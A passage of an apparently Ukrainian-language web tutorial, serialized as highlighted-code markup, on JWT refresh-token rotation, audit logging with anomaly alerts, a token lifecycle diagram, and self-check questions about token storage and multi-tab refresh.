LOGOUT",[5274,18912,5296],{"class":5295},[5274,18914,13359],{"class":5358},[5274,18916,5443],{"class":5295},[5274,18918,18919,18922,18924,18927],{"class":5276,"line":5855},[5274,18920,18921],{"class":5291},"  PASSWORD_CHANGED",[5274,18923,5296],{"class":5295},[5274,18925,18926],{"class":5358},"'password_changed'",[5274,18928,5443],{"class":5295},[5274,18930,18931,18934,18936,18939],{"class":5276,"line":5860},[5274,18932,18933],{"class":5291},"  SESSION_REVOKED",[5274,18935,5296],{"class":5295},[5274,18937,18938],{"class":5358},"'session_revoked'",[5274,18940,5443],{"class":5295},[5274,18942,18943],{"class":5276,"line":5865},[5274,18944,5677],{"class":5295},[5274,18946,18947],{"class":5276,"line":6032},[5274,18948,5577],{"emptyLinePlaceholder":5576},[5274,18950,18951,18953,18955],{"class":5276,"line":6038},[5274,18952,8895],{"class":5295},[5274,18954,9286],{"class":5311},[5274,18956,9014],{"class":5295},[5274,18958,18959,18961,18963,18966],{"class":5276,"line":6044},[5274,18960,8490],{"class":5605},[5274,18962,8913],{"class":5287},[5274,18964,18965],{"class":5567}," AuditService",[5274,18967,7239],{"class":5295},[5274,18969,18970,18972],{"class":5276,"line":6050},[5274,18971,9355],{"class":5287},[5274,18973,5315],{"class":5295},[5274,18975,18976,18978,18980,18982,18984],{"class":5276,"line":6947},[5274,18977,10909],{"class":5295},[5274,18979,10763],{"class":5311},[5274,18981,5414],{"class":5295},[5274,18983,18834],{"class":5305},[5274,18985,8906],{"class":5295},[5274,18987,18988,18990,18992,18995,18997,18999,19001,19003],{"class":5276,"line":6953},[5274,18989,10893],{"class":5287},[5274,18991,9369],{"class":5287},[5274,18993,18994],{"class":5305}," auditLogRepo",[5274,18996,5595],{"class":5295},[5274,18998,10781],{"class":5567},[5274,19000,5564],{"class":5295},[5274,19002,18834],{"class":5567},[5274,19004,10937],{"class":5295},[5274,19006,19007],{"class":5276,"line":6959},[5274,19008,10942],{"class":5295},[5274,19010,19011],{"class":5276,"line":6965},[5274,19012,5577],{"emptyLinePlaceholder":5576},[5274,19014,19015,19017,19019],{"class":5276,"line":6971},[5274,19016,7839],{"class":5287},[5274,19018,15505],{"class":5311},[5274,19020,5315],{"class":5295},[5274,19022,19023,19025,19027,19029],{"class":5276,"line":6977},[5274,19024,9413],{"class":5305},[5274,19026,5595],{"class":5295},[5274,19028,5568],{"class":5567},[5274,19030,5443],{"class":5295},[5274,19032,19033,19036,19038,19041],{"class":5276,"line":6983},[5274,19034,19035],{"class":5305},"    eventType",[5274,19037,5595],{"class":5295},[5274,19039,19040],{"class":5567},"AuditEventType",[5274,19042,5443],{"class":5295},[5274,19044,19045,19048,19050,19053,19055,19057,19059,19061],{"class":5276,"line":6989},[5274,19046,19047],{"class":5305},"    metadata",[5274,19049,11275],{"class":5295},[5274,19051,19052],{"class":5567},"Record",[5274,19054,5564],{"class":5295},[5274,19056,5568],{"class":5567},[5274,19058,5129],{"class":5295},[5274,19060,7225],{"class":5567},[5274,19062,10937],{"class":5295},[5274,19064,19065],{"class":5276,"line":7514},[5274,19066,12543],{"class":5295},[5274,19068,19069,19071,19073,19075,19078,19080,19082],{"class":5276,"line":7520},[5274,19070,9542],{"class":5605},[5274,19072,5656],{"class":5287},[5274,19074,5302],{"class":5295},[5274,19076,19077],{"class":5305},"auditLogRepo",[5274,19079,5302],{"class":5295},[5274,19081,6351],{"class":5311},[5274,19083,6354],{"class":5295},[5274,19085,19086,19088],{"class":5276,"line":7526},[5274,19087,9504],{"class":5305},[5274,19089,5443],{"class":5295},[5274,19091,19092,19095],{"class":5276,"line":7919},[5274,19093,19094],{"class":5305},"      eventType",[5274,19096,5443],{"class":5295},[5274,19098,19099,19102],{"class":5276,"line":7932},[5274,19100,19101],{"class":5305},"      metadata",[5274,19103,5443],{"class":5295},[5274,19105,19106,19109,19111,19113],{"class":5276,"line":7938},[5274,19107,19108],{"class":5305},"      timestamp:",[5274,19110,5631],{"class":5287},[5274,19112,6386],{"class":5311},[5274,19114,8695],{"class":5295},[5274,19116,19117],{"class":5276,"line":7960},[5274,19118,9528],{"class":5295},[5274,19120,19121],{"class":5276,"line":7980},[5274,19122,5577],{"emptyLinePlaceholder":5576},[5274,19124,19125],{"class":5276,"line":8013},[5274,19126,19127],{"class":5280},"    \u002F\u002F Опціонально: надіслати критичні події до SIEM системи\n",[5274,19129,19130,19132,19134,19137,19139,19141,19143,19146],{"class":5276,"line":8029},[5274,19131,7883],{"class":5605},[5274,19133,5509],{"class":5295},[5274,19135,19136],{"class":5305},"eventType",[5274,19138,7900],{"class":5295},[5274,19140,19040],{"class":5305},[5274,19142,5302],{"class":5295},[5274,19144,19145],{"class":5291},"TOKEN_REUSE_DETECTED",[5274,19147,5600],{"class":5295},[5274,19149,19150],{"class":5276,"line":8035},[5274,19151,19152],{"class":5280},"      \u002F\u002F await this.siemClient.sendAlert({ userId, eventType, metadata });\n",[5274,19154,19155],{"class":5276,"line":8041},[5274,19156,7131],{"class":5295},[5274,19158,19159],{"class":5276,"line":8047},[5274,19160,5647],{"class":5295},[5274,19162,19163],{"class":5276,"line":8052},[5274,19164,5577],{"emptyLinePlaceholder":5576},[5274,19166,19167],{"class":5276,"line":8069},[5274,19168,9389],{"class":5280},[5274,19170,19171],{"class":5276,"line":8081},[5274,19172,19173],{"class":5280},"   * Виявлення аномальної активності\n",[5274,19175,19176],{"class":5276,"line":8086},[5274,19177,9399],{"class":5280},[5274,19179,19180,19182,19185,19187,19189,19191,19193,19195,19197,19199,19201],{"class":5276,"line":8094},[5274,19181,7839],{"class":5287},[5274,19183,19184],{"class":5311}," detectAnomalies",[5274,19186,5414],{"class":5295},[5274,19188,5128],{"class":5305},[5274,19190,5595],{"class":5295},[5274,19192,5568],{"class":5567},[5274,19194,9686],{"class":5295},[5274,19196,9451],{"class":5567},[5274,19198,5564],{"class":5295},[5274,19200,5568],{"class":5567},[5274,19202,19203],{"class":5295},"[]> {\n",[5274,19205,19206,19208,19211,19213,19215],{"class":5276,"line":8100},[5274,19207,7855],{"class":5287},[5274,19209,19210],{"class":5291}," alerts",[5274,19212,5595],{"class":5295},[5274,19214,5568],{"class":5567},[5274,19216,19217],{"class":5295},"[] = [];\n",[5274,19219,19220],{"class":5276,"line":8125},[5274,19221,5577],{"emptyLinePlaceholder":5576},[5274,19223,19224],{"class":5276,"line":8133},[5274,19225,19226],{"class":5280},"    \u002F\u002F 1. Перевірка на множинні входи з різних локацій за короткий час\n",[5274,19228,19229,19231,19234,19236,19238,19240,19242,19244,19246,19249],{"class":5276,"line":8139},[5274,19230,7855],{"class":5287},[5274,19232,19233],{"class":5291}," recentLogins",[5274,19235,5296],{"class":5295},[5274,19237,5770],{"class":5605},[5274,19239,5656],{"class":5287},[5274,19241,5302],{"class":5295},[5274,19243,19077],{"class":5305},[5274,19245,5302],{"class":5295},[5274,19247,19248],{"class":5311},"find",[5274,19250,6354],{"class":5295},[5274,19252,19253,19255,19257,19259,19261,19264,19266,19268,19271],{"class":5276,"line":8155},[5274,19254,11313],{"class":5305},[5274,19256,6285],{"class":5295},[5274,19258,5128],{"class":5305},[5274,19260,5129],{"class":5295},[5274,19262,19263],{"class":5305},"eventType:",[5274,19265,18855],{"class":5305},[5274,19267,5302],{"class":5295},[5274,19269,19270],{"class":5291},"LOGIN_SUCCESS",[5274,19272,5347],{"class":5295},[5274,19274,19275,19278,19280,19283,19286],{"class":5276,"line":8161},[5274,19276,19277],{"class":5305},"      order:",[5274,19279,6285],{"class":5295},[5274,19281,19282],{"class":5305},"timestamp:",[5274,19284,19285],{"class":5358}," 'DESC'",[5274,19287,5347],{"class":5295},[5274,19289,19290,19293,19296],{"class":5276,"line":8166},[5274,19291,19292],{"class":5305},"      take:",[5274,19294,19295],{"class":6196}," 5",[5274,19297,5443],{"class":5295},[5274,19299,19300],{"class":5276,"line":8189},[5274,19301,9528],{"class":5295},[5274,19303,19304],{"class":5276,"line":8194},[5274,19305,5577],{"emptyLinePlaceholder":5576},[5274,19307,19308,19310,19313,19315,19317,19319,19321,19324,19326,19328,19330,19332,19334,19336,19338,19340,19343,19345,19347],{"class":5276,"line":8200},[5274,19309,7855],{"class":5287},[5274,19311,19312],{"class":5291}," locations",[5274,19314,5296],{"class":5295},[5274,19316,5558],{"class":5287},[5274,19318,5561],{"class":5311},[5274,19320,5414],{"class":5295},[5274,19322,19323],{"class":5305},"recentLogins",[5274,19325,5302],{"class":5295},[5274,19327,16622],{"class":5311},[5274,19329,7757],{"class":5295},[5274,19331,14212],{"class":5305},[5274,19333,7651],{"class":5295},[5274,19335,7654],{"class":5287},[5274,19337,15505],{"class":5305},[5274,19339,5302],{"class":5295},[5274,19341,19342],{"class":5305},"metadata",[5274,19344,5302],{"class":5295},[5274,19346,8384],{"class":5305},[5274,19348,7773],{"class":5295},[5274,19350,19351,19353,19355,19358,19360,19363,19366,19369],{"class":5276,"line":8222},[5274,19352,7883],{"class":5605},[5274,19354,5509],{"class":5295},[5274,19356,19357],{"class":5305},"locations",[5274,19359,5302],{"class":5295},[5274,19361,19362],{"class":5305},"size",[5274,19364,19365],{"class":5295}," > ",[5274,19367,19368],{"class":6196},"2",[5274,19370,5600],{"class":5295},[5274,19372,19373,19376,19378,19380,19382,19385],{"class":5276,"line":8263},[5274,19374,19375],{"class":5305},"      alerts",[5274,19377,5302],{"class":5295},[5274,19379,7709],{"class":5311},[5274,19381,5414],{"class":5295},[5274,19383,19384],{"class":5358},"'Виявлено входи з кількох різних локацій за останню годину'",[5274,19386,5371],{"class":5295},[5274,19388,19389],{"class":5276,"line":8268},[5274,19390,7131],{"class":5295},[5274,19392,19393],{"class":5276,"line":8274},[5274,19394,5577],{"emptyLinePlaceholder":5576},[5274,19396,19397],{"class":5276,"line":8286},[5274,19398,19399],{"class":5280},"    \u002F\u002F 2. Перевірка на множинні невдалі спроби входу\n",[5274,19401,19402,19404,19407,19409,19411,19413,19415,19417,19419,19422],{"class":5276,"line":8291},[5274,19403,7855],{"class":5287},[5274,19405,19406],{"class":5291}," failedAttempts",[5274,19408,5296],{"class":5295},[5274,19410,5770],{"class":5605},[5274,19412,5656],{"class":5287},[5274,19414,5302],{"class":5295},[5274,19416,19077],{"class":5305},[5274,19418,5302],{"class":5295},[5274,19420,19421],{"class":5311},"count",[5274,19423,6354],{"class":5295},[5274,19425,19426,19428],{"class":5276,"line":8297},[5274,19427,11313],{"class":5305},[5274,19429,7239],{"class":5295},[5274,19431,19432,19435],{"class":5276,"line":8325},[5274,19433,19434],{"class":5305},"        userId",[5274,19436,5443],{"class":5295},[5274,19438,19439,19442,19444,19446,19449],{"class":5276,"line":8338},[5274,19440,19441],{"class":5305},"        eventType:",[5274,19443,18855],{"class":5305},[5274,19445,5302],{"class":5295},[5274,19447,19448],{"class":5291},"LOGIN_FAILED",[5274,19450,5443],{"class":5295},[5274,19452,19453,19456,19458,19460,19462,19464,19466,19468,19470,19472,19474,19476,19478,19480,19482],{"class":5276,"line":8354},[5274,19454,19455],{"class":5305},"        timestamp:",[5274,19457,5631],{"class":5287},[5274,19459,6386],{"class":5311},[5274,19461,5414],{"class":5295},[5274,19463,6391],{"class":5305},[5274,19465,5302],{"class":5295},[5274,19467,6396],{"class":5311},[5274,19469,10357],{"class":5295},[5274,19471,6413],{"class":6196},[5274,19473,6405],{"class":5295},[5274,19475,6413],{"class":6196},[5274,19477,6405],{"class":5295},[5274,19479,6422],{"class":6196},[5274,19481,17199],{"class":5295},[5274,19483,19484],{"class":5280},"\u002F\u002F Остання година\n",[5274,19486,19487],{"class":5276,"line":8360},[5274,19488,12849],{"class":5295},[5274,19490,19491],{"class":5276,"line":8376},[5274,19492,9528],{"class":5295},[5274,19494,19495],{"class":5276,"line":8399},[5274,19496,5577],{"emptyLinePlaceholder":5576},[5274,19498,19499,19501,19503,19506,19508,19511],{"class":5276,"line":8417},[5274,19500,7883],{"class":5605},[5274,19502,5509],{"class":5295},[5274,19504,19505],{"class":5305},"failedAttempts",[5274,19507,19365],{"class":5295},[5274,19509,19510],{"class":6196},"5",[5274,19512,5600],{"class":5295},[5274,19514,19515,19517,19519,19521,19523,19526],{"class":5276,"line":8427},[5274,19516,19375],{"class":5305},[5274,19518,5302],{"class":5295},[5274,19520,7709],{"class":5311},[5274,19522,5414],{"class":5295},[5274,19524,19525],{"class":5358},"'Виявлено 5+ невдалих спроб входу за останню годину'",[5274,19527,5371],{"class":5295},[5274,19529,19530],{"class":5276,"line":8439},[5274,19531,7131],{"class":5295},[5274,19533,19534],{"class":5276,"line":8444},[5274,19535,5577],{"emptyLinePlaceholder":5576},[5274,19537,19538,19540,19542],{"class":5276,"line":8449},[5274,19539,8457],{"class":5605},[5274,19541,19210],{"class":5305},[5274,19543,5852],{"class":5295},[5274,19545,19546],{"class":5276,"line":8454},[5274,19547,5647],{"class":5295},[5274,19549,19550],{"class":5276,"line":8472},[5274,19551,5677],{"class":5295},[5171,19553],{},[5084,19555,19557],{"id":19556},"візуалізація-життєвого-циклу-токенів","Візуалізація життєвого циклу токенів",[5949,19559,19560],{},[5265,19561,19563],{"className":5953,"code":19562,"language":5949,"meta":5270,"style":5270},"stateDiagram-v2\n    [*] --> Login: POST \u002Fauth\u002Flogin\n    Login --> TokensGenerated: email + password\n    TokensGenerated --> ActiveSession: Access Token (15m)\u003Cbr\u002F>Refresh Token (7d)\n    \n    ActiveSession --> APIRequest: API запити\n    APIRequest --> TokenValid: Перевірка Access Token\n    TokenValid --> APIRequest: 200 OK\n    \n    TokenValid --> TokenExpired: Access Token прострочений\n    TokenExpired --> RefreshEndpoint: POST \u002Fauth\u002Frefresh\n    \n    RefreshEndpoint --> RefreshValid: Перевірка Refresh Token\n    RefreshValid --> TokenRotation: ✅ Видалення старого\u003Cbr\u002F>✅ Генерація нового\n    TokenRotation --> ActiveSession: Нова пара токенів\n    \n    RefreshValid --> TokenReuse: ❌ Токен вже використаний\n    TokenReuse --> SecurityBreach: 🚨 Відкликання ВСІХ токенів\n    SecurityBreach --> [*]: Вимога повторного входу\n    \n    ActiveSession --> Logout: POST \u002Fauth\u002Flogout\n    Logout --> TokenRevoked: Видалення Refresh Token\n    TokenRevoked --> [*]\n    \n    style TokensGenerated fill:#10b981,stroke:#047857,color:#ffffff\n    style ActiveSession fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n    style TokenRotation fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n    style SecurityBreach fill:#ef4444,stroke:#b91c1c,color:#ffffff\n",[5122,19564,19565,19570,19575,19580,19585,19589,19594,19599,19604,19608,19613,19618,19622,19627,19632,19637,19641,19646,19651,19656,19660,19665,19670,19675,19679,19684,19689,19694],{"__ignoreMap":5270},[5274,19566,19567],{"class":5276,"line":5277},[5274,19568,19569],{},"stateDiagram-v2\n",[5274,19571,19572],{"class":5276,"line":5284},[5274,19573,19574],{},"    [*] --> Login: POST \u002Fauth\u002Flogin\n",[5274,19576,19577],{"class":5276,"line":5318},[5274,19578,19579],{},"    Login --> TokensGenerated: email + password\n",[5274,19581,19582],{"class":5276,"line":5350},[5274,19583,19584],{},"    TokensGenerated --> ActiveSession: Access Token (15m)\u003Cbr\u002F>Refresh Token (7d)\n",[5274,19586,19587],{"class":5276,"line":5368},[5274,19588,5986],{},[5274,19590,19591],{"class":5276,"line":5470},[5274,19592,19593],{},"    ActiveSession --> APIRequest: API запити\n",[5274,19595,19596],{"class":5276,"line":5644},[5274,19597,19598],{},"    APIRequest --> TokenValid: Перевірка Access Token\n",[5274,19600,19601],{"class":5276,"line":5650},[5274,19602,19603],{},"    TokenValid --> APIRequest: 200 OK\n",[5274,19605,19606],{"class":5276,"line":5674},[5274,19607,5986],{},[5274,19609,19610],{"class":5276,"line":5680},[5274,19611,19612],{},"    TokenValid --> TokenExpired: Access Token прострочений\n",[5274,19614,19615],{"class":5276,"line":5685},[5274,19616,19617],{},"    TokenExpired --> RefreshEndpoint: POST \u002Fauth\u002Frefresh\n",[5274,19619,19620],{"class":5276,"line":5691},[5274,19621,5986],{},[5274,19623,19624],{"class":5276,"line":5855},[5274,19625,19626],{},"    RefreshEndpoint --> RefreshValid: Перевірка Refresh Token\n",[5274,19628,19629],{"class":5276,"line":5860},[5274,19630,19631],{},"    RefreshValid --> TokenRotation: ✅ Видалення старого\u003Cbr\u002F>✅ Генерація нового\n",[5274,19633,19634],{"class":5276,"line":5865},[5274,19635,19636],{},"    TokenRotation --> ActiveSession: Нова пара токенів\n",[5274,19638,19639],{"class":5276,"line":6032},[5274,19640,5986],{},[5274,19642,19643],{"class":5276,"line":6038},[5274,19644,19645],{},"    RefreshValid --> TokenReuse: ❌ Токен вже використаний\n",[5274,19647,19648],{"class":5276,"line":6044},[5274,19649,19650],{},"    TokenReuse --> SecurityBreach: 🚨 Відкликання ВСІХ токенів\n",[5274,19652,19653],{"class":5276,"line":6050},[5274,19654,19655],{},"    SecurityBreach --> [*]: Вимога повторного входу\n",[5274,19657,19658],{"class":5276,"line":6947},[5274,19659,5986],{},[5274,19661,19662],{"class":5276,"line":6953},[5274,19663,19664],{},"    ActiveSession --> Logout: POST \u002Fauth\u002Flogout\n",[5274,19666,19667],{"class":5276,"line":6959},[5274,19668,19669],{},"    Logout --> TokenRevoked: Видалення Refresh Token\n",[5274,19671,19672],{"class":5276,"line":6965},[5274,19673,19674],{},"    TokenRevoked --> [*]\n",[5274,19676,19677],{"class":5276,"line":6971},[5274,19678,5986],{},[5274,19680,19681],{"class":5276,"line":6977},[5274,19682,19683],{},"    style TokensGenerated fill:#10b981,stroke:#047857,color:#ffffff\n",[5274,19685,19686],{"class":5276,"line":6983},[5274,19687,19688],{},"    style ActiveSession fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n",[5274,19690,19691],{"class":5276,"line":6989},[5274,19692,19693],{},"    style TokenRotation fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n",[5274,19695,19696],{"class":5276,"line":7514},[5274,19697,19698],{},"    style SecurityBreach fill:#ef4444,stroke:#b91c1c,color:#ffffff\n",[5171,19700],{},[5084,19702,19704],{"id":19703},"інтерактивні-запитання-для-самоперевірки","Інтерактивні запитання для самоперевірки",[19706,19707,19708,19747,20000,20192,20440],"accordion",{},[19709,19710,19713,19720,19727,19730],"accordion-item",{"icon":19711,"label":19712},"i-lucide-help-circle","❓ Чому не можна просто збільшити TTL Access Token до 7 днів замість використання Refresh Token?",[5089,19714,19715,19716,19719],{},"Довгоживучий Access Token створює катастрофічну вразливість безпеки: якщо токен буде скомпрометований (через XSS, витік бази даних, перехоплення трафіку), зловмисник матиме ",[5099,19717,19718],{},"повний доступ до облікового запису протягом усіх 7 днів"," без жодної можливості відкликання з боку системи.",[5089,19721,5505,19722,19724,19725,5302],{},[5099,19723,5508],{}," (self-contained) — сервер не зберігає їхній стан і не може їх інвалідувати без створення blacklist (що знищує переваги JWT). Навіть якщо користувач змінить пароль або адміністратор заблокує обліковий запис, токен залишиться валідним до закінчення ",[5122,19726,5524],{},[5089,19728,19729],{},"Архітектура Refresh Token вирішує цю проблему:",[5093,19731,19732,19737,19742],{},[5096,19733,19734,19736],{},[5099,19735,14526],{}," має короткий TTL (15 хв) → навіть при компрометації вікно вразливості мінімальне.",[5096,19738,19739,19741],{},[5099,19740,5934],{}," зберігається у БД → може бути відкликаний у будь-який момент.",[5096,19743,19744,19746],{},[5099,19745,10422],{}," → кожне використання Refresh Token інвалідує попередній, що дозволяє виявляти компрометацію.",[19709,19748,19750,19757,19789,19807,19816],{"icon":19711,"label":19749},"❓ Що станеться, якщо користувач відкриє застосунок у двох вкладках одночасно?",[5089,19751,19752,19753,19756],{},"При правильній реалізації це ",[5099,19754,19755],{},"не створює проблем"," завдяки механізму Axios Interceptor та черзі запитів:",[5478,19758,19759,19771,19783,19786],{},[5096,19760,19761,19764,19765,19767,19768,5302],{},[5099,19762,19763],{},"Вкладка 1:"," Access Token прострочений → викликає ",[5122,19766,5155],{}," → встановлює ",[5122,19769,19770],{},"isRefreshing = true",[5096,19772,19773,19776,19777,19779,19780,5302],{},[5099,19774,19775],{},"Вкладка 2:"," Access Token прострочений → бачить ",[5122,19778,19770],{}," → підписується на результат через ",[5122,19781,19782],{},"subscribeTokenRefresh()",[5096,19784,19785],{},"Сервер повертає нову пару токенів → обидві вкладки отримують новий Access Token через механізм підписки.",[5096,19787,19788],{},"Обидві вкладки повторюють свої оригінальні запити з новим токеном.",[5089,19790,19791,19794,19795,19798,19799,19802,19803,19806],{},[5099,19792,19793],{},"Проте є нюанс з HttpOnly Cookies:"," якщо Refresh Token зберігається у Cookie, то після оновлення токена у ",[5099,19796,19797],{},"Вкладці 1",", Cookie автоматично оновлюється для всього домену. ",[5099,19800,19801],{},"Вкладка 2"," при спробі оновити токен отримає вже ",[5099,19804,19805],{},"новий"," Refresh Token з Cookie, а старий буде видалено через rotation.",[5089,19808,19809,19812,19813,19815],{},[5099,19810,19811],{},"Рішення:"," використовуйте блокування на рівні ",[5122,19814,5382],{}," або Redis для координації між вкладками:",[5265,19817,19819],{"className":5267,"code":19818,"language":5269,"meta":5270,"style":5270},"\u002F\u002F Перевірка, чи інша вкладка вже оновлює токени\nconst lockKey = 'token_refresh_lock';\nconst lock = localStorage.getItem(lockKey);\n\nif (lock && Date.now() - parseInt(lock) \u003C 5000) {\n  \u002F\u002F Інша вкладка вже оновлює токени — чекаємо\n  await new Promise((resolve) => setTimeout(resolve, 1000));\n} else {\n  localStorage.setItem(lockKey, Date.now().toString());\n  \u002F\u002F Виконуємо refresh\n  \u002F\u002F ...\n  localStorage.removeItem(lockKey);\n}\n",[5122,19820,19821,19826,19840,19862,19866,19901,19906,19935,19944,19972,19977,19982,19996],{"__ignoreMap":5270},[5274,19822,19823],{"class":5276,"line":5277},[5274,19824,19825],{"class":5280},"\u002F\u002F Перевірка, чи інша вкладка вже оновлює токени\n",[5274,19827,19828,19830,19833,19835,19838],{"class":5276,"line":5284},[5274,19829,5288],{"class":5287},[5274,19831,19832],{"class":5291}," lockKey",[5274,19834,5296],{"class":5295},[5274,19836,19837],{"class":5358},"'token_refresh_lock'",[5274,19839,5852],{"class":5295},[5274,19841,19842,19844,19847,19849,19851,19853,19855,19857,19860],{"class":5276,"line":5318},[5274,19843,5288],{"class":5287},[5274,19845,19846],{"class":5291}," lock",[5274,19848,5296],{"class":5295},[5274,19850,5382],{"class":5305},[5274,19852,5302],{"class":5295},[5274,19854,5411],{"class":5311},[5274,19856,5414],{"class":5295},[5274,19858,19859],{"class":5305},"lockKey",[5274,19861,5371],{"class":5295},[5274,19863,19864],{"class":5276,"line":5350},[5274,19865,5577],{"emptyLinePlaceholder":5576},[5274,19867,19868,19870,19872,19875,19878,19880,19882,19884,19886,19889,19891,19893,19896,19899],{"class":5276,"line":5368},[5274,19869,16462],{"class":5605},[5274,19871,5509],{"class":5295},[5274,19873,19874],{"class":5305},"lock",[5274,19876,19877],{"class":5295}," && ",[5274,19879,6391],{"class":5305},[5274,19881,5302],{"class":5295},[5274,19883,6396],{"class":5311},[5274,19885,10357],{"class":5295},[5274,19887,19888],{"class":5311},"parseInt",[5274,19890,5414],{"class":5295},[5274,19892,19874],{"class":5305},[5274,19894,19895],{"class":5295},") \u003C ",[5274,19897,19898],{"class":6196},"5000",[5274,19900,5600],{"class":5295},[5274,19902,19903],{"class":5276,"line":5470},[5274,19904,19905],{"class":5280},"  \u002F\u002F Інша вкладка вже оновлює токени — чекаємо\n",[5274,19907,19908,19910,19912,19914,19916,19918,19920,19922,19925,19927,19929,19931,19933],{"class":5276,"line":5644},[5274,19909,10264],{"class":5605},[5274,19911,5631],{"class":5287},[5274,19913,7946],{"class":5567},[5274,19915,7757],{"class":5295},[5274,19917,7951],{"class":5305},[5274,19919,7651],{"class":5295},[5274,19921,7654],{"class":5287},[5274,19923,19924],{"class":5311}," setTimeout",[5274,19926,5414],{"class":5295},[5274,19928,7951],{"class":5305},[5274,19930,5129],{"class":5295},[5274,19932,6422],{"class":6196},[5274,19934,7773],{"class":5295},[5274,19936,19937,19939,19942],{"class":5276,"line":5650},[5274,19938,8861],{"class":5295},[5274,19940,19941],{"class":5605},"else",[5274,19943,7239],{"class":5295},[5274,19945,19946,19949,19951,19953,19955,19957,19959,19961,19963,19965,19967,19970],{"class":5276,"line":5674},[5274,19947,19948],{"class":5305},"  localStorage",[5274,19950,5302],{"class":5295},[5274,19952,8208],{"class":5311},[5274,19954,5414],{"class":5295},[5274,19956,19859],{"class":5305},[5274,19958,5129],{"class":5295},[5274,19960,6391],{"class":5305},[5274,19962,5302],{"class":5295},[5274,19964,6396],{"class":5311},[5274,19966,9518],{"class":5295},[5274,19968,19969],{"class":5311},"toString",[5274,19971,15706],{"class":5295},[5274,19973,19974],{"class":5276,"line":5680},[5274,19975,19976],{"class":5280},"  \u002F\u002F Виконуємо refresh\n",[5274,19978,19979],{"class":5276,"line":5685},[5274,19980,19981],{"class":5280},"  \u002F\u002F ...\n",[5274,19983,19984,19986,19988,19990,19992,19994],{"class":5276,"line":5691},[5274,19985,19948],{"class":5305},[5274,19987,5302],{"class":5295},[5274,19989,8367],{"class":5311},[5274,19991,5414],{"class":5295},[5274,19993,19859],{"class":5305},[5274,19995,5371],{"class":5295},[5274,19997,19998],{"class":5276,"line":5855},[5274,19999,5677],{"class":5295},[19709,20001,20003,20017,20033,20040,20055,20060,20063,20077],{"icon":19711,"label":20002},"❓ Чи безпечно зберігати Refresh Token у LocalStorage замість HttpOnly Cookie для мобільних застосунків?",[5089,20004,20005,20006,20009,20010,20012,20013,20016],{},"Для ",[5099,20007,20008],{},"нативних мобільних застосунків"," (React Native, Flutter, Swift\u002FKotlin) використання ",[5122,20011,5382],{}," або еквівалентних сховищ (Keychain на iOS, Keystore на Android) є ",[5099,20014,20015],{},"прийнятним",", оскільки:",[5093,20018,20019,20026],{},[5096,20020,20021,20022,20025],{},"✅ Нативні застосунки ",[5099,20023,20024],{},"не мають XSS вразливостей"," — код не завантажується з інтернету та не може бути модифікований зловмисником.",[5096,20027,20028,20029,20032],{},"✅ Нативні сховища (Keychain, Keystore) надають ",[5099,20030,20031],{},"апаратне шифрування"," токенів.",[5089,20034,20035,20036,20039],{},"Проте для ",[5099,20037,20038],{},"веб-застосунків"," (включаючи PWA):",[5093,20041,20042,20052],{},[5096,20043,20044,20045,20047,20048,20051],{},"❌ ",[5122,20046,5382],{}," є ",[5099,20049,20050],{},"категорично небезпечним"," для Refresh Token через вразливість до XSS атак.",[5096,20053,20054],{},"✅ HttpOnly Cookie залишається єдиним безпечним варіантом.",[5089,20056,20057],{},[5099,20058,20059],{},"Гібридний підхід для універсальності:",[5089,20061,20062],{},"Якщо ваш застосунок має і веб, і мобільну версію:",[5093,20064,20065,20071],{},[5096,20066,20067,20070],{},[5099,20068,20069],{},"Веб:"," Refresh Token у HttpOnly Cookie.",[5096,20072,20073,20076],{},[5099,20074,20075],{},"Мобільний додаток:"," Refresh Token у Keychain\u002FKeystore з можливістю передачі через API.",[5265,20078,20080],{"className":5267,"code":20079,"language":5269,"meta":5270,"style":5270},"\u002F\u002F Мобільний застосунок надсилає Refresh Token у тілі запиту\nPOST \u002Fauth\u002Frefresh\n{\n  \"refreshToken\": \"6ba7b810-9dad-11d1-80b4-00c04fd430c8\",\n  \"platform\": \"mobile\"\n}\n\n\u002F\u002F Веб надсилає через Cookie\nPOST \u002Fauth\u002Frefresh\nCookie: refreshToken=6ba7b810-9dad-11d1-80b4-00c04fd430c8\n",[5122,20081,20082,20087,20103,20107,20118,20128,20132,20136,20141,20153],{"__ignoreMap":5270},[5274,20083,20084],{"class":5276,"line":5277},[5274,20085,20086],{"class":5280},"\u002F\u002F Мобільний застосунок надсилає Refresh Token у тілі запиту\n",[5274,20088,20089,20092,20095,20098,20100],{"class":5276,"line":5284},[5274,20090,20091],{"class":5291},"POST",[5274,20093,20094],{"class":5295}," \u002F",[5274,20096,20097],{"class":5305},"auth",[5274,20099,7170],{"class":5295},[5274,20101,20102],{"class":5305},"refresh\n",[5274,20104,20105],{"class":5276,"line":5318},[5274,20106,6135],{"class":5295},[5274,20108,20109,20112,20114,20116],{"class":5276,"line":5350},[5274,20110,20111],{"class":5358},"  \"refreshToken\"",[5274,20113,5595],{"class":5295},[5274,20115,7059],{"class":5358},[5274,20117,5443],{"class":5295},[5274,20119,20120,20123,20125],{"class":5276,"line":5368},[5274,20121,20122],{"class":5358},"  \"platform\"",[5274,20124,5595],{"class":5295},[5274,20126,20127],{"class":5358},"\"mobile\"\n",[5274,20129,20130],{"class":5276,"line":5470},[5274,20131,5677],{"class":5295},[5274,20133,20134],{"class":5276,"line":5644},[5274,20135,5577],{"emptyLinePlaceholder":5576},[5274,20137,20138],{"class":5276,"line":5650},[5274,20139,20140],{"class":5280},"\u002F\u002F Веб надсилає через 